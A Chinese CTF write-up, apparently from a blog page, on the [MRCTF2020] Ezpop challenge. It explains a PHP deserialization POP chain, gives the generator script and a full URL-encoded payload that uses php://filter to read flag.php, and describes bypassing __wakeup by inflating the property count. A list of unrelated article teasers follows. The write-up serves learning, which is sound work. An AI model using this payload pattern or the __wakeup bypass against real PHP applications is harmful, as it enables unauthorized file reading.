pop链反序列化 [MRCTF2020]Ezpop1
打开题目

网站源码为
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
代码审计一下,首先flag在flag.php下面
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
如果我们get方法传入一个pop函数,并且用isset函数检查变量是否被设置,是不是值为null,如果存在且不为null,则反序列化我们传入的pop参数
如果pop参数未被设置则将Show类的值赋值给a,highlight_file(__FILE__); 用于将当前文件的源代码输出到浏览器
那我们接下来看看Show的类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php"
首先在这里我们定义了一个名为Show的类,将$source和$str设置为公有属性,将index.php赋值给$file,并定义方法。定义$source的来源为$file参数,然后输出。
-
$file='index.php'这个语法意味着,如果构造函数没有收到参数,$file将默认被设置为'index.php'。这在构造实例时提供了一个默认值,如果实例化类时没有传递参数,就会使用这个默认文件名。 -
$this->source = $file;将构造函数中接收到的文件名赋值给了类的$source属性。这使得类的实例在创建时就有了一个文件路径的来源
用tostring方法返回其字符串类型,用wakeup方法,if语句,如果$source包含/gopher,http,file,ftp,https,dict,\.\./i等字眼,则输出hacker,若不包含,则返回源代码
构造payload:
首先在Modifier类中,有文件包含说明我们要调用include函数,要调用include函数就要用到append函数,append函数需要invoke函数触发,__invoke()调用的条件就是Modifier被调用为函数的时候
在这里,我们可以利用__get()方法,_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
我们用__toString() 返回Show类的属性str中的属性source,但是test中没有source属性 所以成功调用get方法
__toString()直接输出对象引用的时候,不产生报错。快速获取对象的字符串信息的便捷方式。
调用Show类的__toString()方法:就利用Show的__construct方法触发,把source赋值为Show类
所以,我们调用函数的顺序就是:
__construct->__toString()->__get()->__invoke()->append->文件包含
payload:
对我们的函数进行序列化
<?php
class Modifier {protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct(){$this->str = new Test();}
}
class Test{public $p;}$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();echo urlencode(serialize($a));?>
在phpstudy打开

get传参得到
/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

我们base64解密一下得到

知识点:
- _construct()方法
创建构造函数的语法格式如下:
public function __construct(参数列表){
... ...
}
其中,参数列表是可选的,不需要时可以省略。
构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数,例如 new Students($name, $age)。
- _toString()方法
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
- _invoke()方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
- append()函数
PHP中ArrayObject类的append()函数用于将给定值附加到ArrayObject上。附加的值可以是单个值,也可以是数组本身
_wakeup()方法漏洞
-
什么是_wakeup()方法?
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数
例:
class Example {
public $a = 1;
public $b = 2;public function __wakeup() {
$this->a *= 2;
$this->b *= 2;
}
}$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);
在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a 和 $b。在 __wakeup() 方法中,我们将 $a 和 $b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本
object(Example)#2 (2) {
["a"]=>
int(2)
["b"]=>
int(4)
}
我们用 __wakeup() 方法成功地修改了 $a 和 $b 的值。
- wakeup()方法的绕过
__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多
- wakeup()方法绕过应用举例
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
- 什么是pop链
从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的
说白了,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
- 常见的魔术方法
__construct() //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发
__sleep() //当使用serialize时触发
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
wp参考:[MRCTF2020]Ezpop 1——pop链的反序列化_反序列化[mrctf2020]ezpop1-CSDN博客
知识点源于:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客
php反序列化漏洞之POP链构造 - 简书
相关文章:
pop链反序列化 [MRCTF2020]Ezpop1
打开题目 网站源码为 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier {protected …...
yolov5从英伟达平台移植到华为昇腾开发板上的思路
作者:朱金灿 来源:clever101的专栏 为什么大多数人学不会人工智能编程?>>> 最近需要将yolov5代码从英伟达平台移植到华为昇腾开发板上。搜了一些代码和资料,大致明白了二者的差别。 1.二者使用的模型文件不一样 yolov…...
网络运维与网络安全 学习笔记2023.11.25
网络运维与网络安全 学习笔记 第二十六天 今日目标 ACL原理与类型、基本ACL配置、高级ACL配置 高级ACL之ICMP、高级ACL之telnet ACL原理与类型 项目背景 为了企业的业务安全,要求不同部门对服务器有不同的权限 PC1不能访问Server PC2允许访问Server 允许其他所…...
Trustzone/TEE/安全 面试100问
关键词:cache学习、mmu学习、cache资料、mmu资料、arm资料、armv8资料、armv9资料、 trustzone视频、tee视频、ATF视频、secureboot视频、安全启动视频、selinux视频,cache视频、mmu视频,armv8视频、armv9视频、FF-A视频、密码学视频、RME/CCA视频、学习资料下载、免费学习资…...
【数据结构】D : 图的顶点可达闭包
D : 图的顶点可达闭包 Description 给定有向图的邻接矩阵A,其元素定义为:若存在顶点i到顶点j的有向边则A[i,j]1,若没有有向边则A[i,j] 0。试求A的可达闭包矩阵A*,其元素定义为:若存在顶点i到顶点j的有向路径则A*[i,j…...
链表?细!详细知识点总结!
链表 定义:链表是一种递归的数据结构,它或者为空(null),或者是指向一个结点(node)的引用,该结点含有一个泛型的元素和一个指向另一条链表的引用。 其实链表就是有序的列表,它在内…...
【数据结构实验】排序(三)快速排序算法的改进(三者取中法)
文章目录 1. 引言2. 快速排序算法2.1 传统快速排序2.2 三者取中法 3. 实验内容3.1 实验题目(一)输入要求(二)输出要求 3.2 算法实现 4. 实验结果 1. 引言 快速排序是一种经典的排序算法,其核心思想是通过选择一个基准元…...
【数据结构/C++】栈和队列_顺序栈
#include<iostream> using namespace std; #define MaxSize 10 // 1. 顺序栈 typedef int ElemType; struct Stack {ElemType data[MaxSize];int top; } SqStack; // 初始化栈 void init(Stack &s) {// 初始化栈顶指针s.top -1; } // 入栈 bool push(Stack &s, …...
【数据结构实验】图(一)Warshall算法(求解有向图的可达矩阵)
文章目录 1. 引言2. Warshall算法原理2.0 图的基础知识a. 类型b. 表示 2.1 初始化可及矩阵2.2 迭代更新可及矩阵 3. 实验内容3.1 实验题目(一)输入要求(二)输出要求 3.2 算法实现 4. 实验结果 1. 引言 Warshall算法是一种用于求解…...
java协同过滤算法 springboot+vue游戏推荐系统
随着人们生活质量的不断提高以及个人电脑和网络的普及,人们的业余生活质量要求也在不断提高,选择一款好玩,精美,画面和音质,品质优良的休闲游戏已经成为一种流行的休闲方式。可以说在人们的日常生活中,除了…...
Android设计模式--适配器模式
至诚之道,可以前知 一,定义 适配器模式把一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作。 适配器模式在我们的开发中使用率极高,ListView,GridView&am…...
jQuery_06 基本过滤器的使用
什么是过滤器? 过滤器就是用来筛选dom对象的,过滤器是和选择器一起使用的。在选择了dom对象后在进行过滤筛选。 jQuery对象中存储的dom对象顺序与页面标签声明有关系。 声明顺序就是dom中存放的顺序 1.基本过滤器 使用dom对象在数组中的位置来作为过滤条…...
Kotlin学习——kt里面的函数,高阶函数 函数式编程 扩展函数和属性
Kotlin 是一门现代但已成熟的编程语言,旨在让开发人员更幸福快乐。 它简洁、安全、可与 Java 及其他语言互操作,并提供了多种方式在多个平台间复用代码,以实现高效编程。 https://play.kotlinlang.org/byExample/01_introduction/02_Functio…...
AI绘画“湿地公园的美女”
1、AI绘画:湿地公园的美女 通过输入描述:你需要什么场景的什么创作内容,AI根据内容创造出适合的主题 如图所示:请帮我创作一个湿地公园的像高圆圆的美女图片。 输出的结果如下:总体来说感觉还是非常快,基…...
延时任务定时发布,基于 Redis 与 DB 实现
目录 1、什么是延时任务,分别可以使用哪些技术实现? 1.2 使用 Redis 和 DB 相结合的思路图以及分析 2、实现添加任务、取消任务、拉取任务 3、实现未来数据的定时更新 4、将数据库中的任务数据,同步到 Redis 中 1、什么是延时任务ÿ…...
Nacos安装使用
Nacos安装使用 官方下载地址: https://github.com/alibaba/nacos/releases 官方文档地址: https://nacos.io/zh-cn/docs/quick-start.html Nacos介绍 Nacos是阿里巴巴开源的一款支持服务注册与发现,配置管理以及微服务管理的组件。用来取代以前常用的注册中心&a…...
了解抽象思维的应用与实践
目录 一、快速了解抽象思维 (一)抽象思维的本质理解 (二)系统架构中的重要性 (三)软件开发中抽象的基本过程思考 意识和手段 抽象的方式 抽象层次的权衡 二、业务中的应用实践 (一&…...
【阿里云】图像识别 智能分类识别 增加垃圾桶开关盖功能点和OLED显示功能点(二)
一、增加垃圾桶开关盖功能 环境准备 二、PWM 频率的公式 三、pthread_detach分离线程,使其在退出时能够自动释放资源 四、具体代码实现 图像识别数据及调试信息wget-log打印日志文件 五、增加OLED显示功能 六、功能点实现语音交互视频 一、增加垃圾桶开关盖功能…...
linux centos上安装python3.11.x详细完整教程
一. 安装步骤 注意: 1、安装python3.11的其他版本替换下面的版本信息即可。(如想安装3.11.5将案例中的3.11.0替换成3.11.5即可) #下载最新的软件安装包 wget https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tgz#解压缩安装包 tar -xzf Python-3.11.0.tg…...
itext - PDF模板套打
目录 环境配置 快速使用 代码实现 添加图片 封装 项目需求:获取列表数据之后直接将数据生成一个pdf。因此需要使用到 itext 对pdf进行直接操作。 环境配置 需要为pdf添加文字域,因此需要安装Adobe Acrobat 准备一个空的PDF文件,如果有现…...
三步完成BilldDesk私有化部署:打造专属远程桌面控制平台
三步完成BilldDesk私有化部署:打造专属远程桌面控制平台 【免费下载链接】billd-desk 基于Vue3 WebRTC Nodejs Flutter搭建的远程桌面控制、游戏串流 项目地址: https://gitcode.com/gh_mirrors/bi/billd-desk BilldDesk是一款基于Vue3 WebRTC Electron…...
别再死记MobileNet结构了!用PyTorch手撕V1/V2/V3的深度可分离卷积(附代码对比)
从零实现MobileNet系列:深度可分离卷积的PyTorch实战解析 在移动端和嵌入式设备上部署神经网络模型时,我们常常面临计算资源有限的挑战。传统卷积神经网络如VGG、ResNet虽然性能优异,但其庞大的参数量和计算量使得它们难以在资源受限的环境中…...
用E4A中文安卓编程,手把手教你做一个能远程控制STM32的APP(基于OneNET MQTT)
用E4A中文安卓编程打造STM32远程控制APP:从零到上线的完整指南 在物联网项目开发中,硬件与移动端的无缝对接往往是开发者面临的一大挑战。传统Android开发需要掌握Java或Kotlin,这对嵌入式开发者来说门槛较高。E4A(易安卓…...
米哈游游戏启动器终极指南:如何用Starward一站式管理你的游戏世界
米哈游游戏启动器终极指南:如何用Starward一站式管理你的游戏世界 【免费下载链接】Starward Game Launcher for miHoYo - 米家游戏启动器 项目地址: https://gitcode.com/gh_mirrors/st/Starward 还在为管理多个米哈游游戏而烦恼吗?每次都要打开…...
你的老Mac还能再战十年吗?OpenCore Legacy Patcher让旧设备焕发新生
你的老Mac还能再战十年吗?OpenCore Legacy Patcher让旧设备焕发新生 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 你是否还在为老款Mac无法升级…...
Qwen3-0.6B-FP8效果实测:古文翻译任务BLEU得分达72.3(超越FP16基线)
Qwen3-0.6B-FP8效果实测:古文翻译任务BLEU得分达72.3(超越FP16基线) 1. 引言:当小模型遇上极致量化 最近在尝试各种轻量化大模型部署方案时,我发现了一个很有意思的现象:很多开发者还在用FP16甚至FP32精度…...
QMCDecode终极指南:3分钟快速解锁QQ音乐加密文件,让音乐真正属于你
QMCDecode终极指南:3分钟快速解锁QQ音乐加密文件,让音乐真正属于你 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac,qmc0,qmc3转mp3, mflac,mflac0等转flac),仅支持macOS,可自动识别到QQ音乐下…...
快速上手:使用ComfyUI可视化工作流调用BERT文本分割模型
快速上手:使用ComfyUI可视化工作流调用BERT文本分割模型 你是不是对文本处理模型感兴趣,但又觉得写代码太麻烦?或者你想快速实验一下BERT模型,看看它能把一段文字切成什么样?今天,我们就来聊聊一个特别适合…...
云原生×AI代码生成的“最后一公里”危机:SITS2026暴露的4类不可观测性盲区,运维团队已连夜升级eBPF探针
第一章:SITS2026案例:AI云原生代码生成 2026奇点智能技术大会(https://ml-summit.org) SITS2026(Smart Intelligent Transformation Summit)是面向企业级AI工程落地的年度技术实践峰会,其核心演示项目“CloudNativeG…...
终极指南:如何使用R3nzSkin实现英雄联盟内存换肤技术
终极指南:如何使用R3nzSkin实现英雄联盟内存换肤技术 【免费下载链接】R3nzSkin Skin changer for League of Legends (LOL) 项目地址: https://gitcode.com/gh_mirrors/r3n/R3nzSkin R3nzSkin是一款基于内存动态修改技术的英雄联盟游戏换肤工具,…...
